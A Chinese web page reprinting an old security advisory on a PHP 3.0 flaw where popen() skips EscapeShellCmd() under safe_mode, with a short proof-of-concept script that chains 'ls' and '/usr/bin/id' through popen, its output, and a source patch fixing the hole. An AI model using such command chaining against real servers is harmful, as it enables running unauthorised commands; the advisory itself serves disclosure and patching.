PHP3 safe_mode 失效漏洞

2016-02-19 09:12 3 1 收藏

下面图老师小编要跟大家分享PHP3 safe_mode 失效漏洞,简单的过程中其实暗藏玄机,还是要细心学习,喜欢还请记得收藏哦!

【 tulaoshi.com - Web开发 】

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

    PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

    因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

    其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

    在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1  

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;  

来源:http://www.tulaoshi.com/n/20160219/1589939.html

延伸阅读
标签: PHP
  示例程序:test_session.php3 <?php require( "session.inc.php3"); require("cookie.inc.php3"); ? <?php session_checkid( 20 ); //20分钟后session失效 //下面你需要设置mysql的连接参数 mysql_connect(’localhost’,’user’,’pass’) or Die("can’t connect to db!");  ...
标签: PHP
         初窥门径   作 者 : 扬眉       PHP3.0 语句能够很容易地插入到 HTML 中,这为实现动态设计提供了一个很方便的途径。比如,如果想要把当前的日期添加到 HTML 文件中,我们可以这样做:   < HTML>   < HEAD>   ...
标签: PHP
         要注意的地方   作 者 : 扬眉       1. 脚本开头部分定义的变量是 MYSQL_CONNECT() 函数的参数,当然我们也可以直接把这些字符串插入到函数中,但是,如果在一个大的 Web 应用中,这些值很可能被放在几个不同的文件中然后被包含进来(用 include 语...
标签: PHP
         HTML 表单和变量   作 者 : 扬眉       如同 ASP 一样, PHP3.0 也可以很方便地处理 HTML 表单和变量,从表单发送过来的每个值,都会自动地根据表单的名字属性( name )赋予相应的变量值,可以直接在 PHP3 脚本中引用这些变量。这个功能在 Web 应...
标签: PHP
  本报讯 据PHP组织说,运行PHP的服务器容易受到多种恶意程序攻击,包括允许攻击者执行恶意代码和DoS攻击。 PHP组织发布了修复这些漏洞的升级版本,可以从PHP网站下载或直接从各操作系统厂商获得。PHP组织强烈建议用户升级到新版本。 PHP是一个主要用于服务器端应用的开源编程语言,运行在Linux、Unix、Mac OS和Windows等...

经验教程

664

收藏

83
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部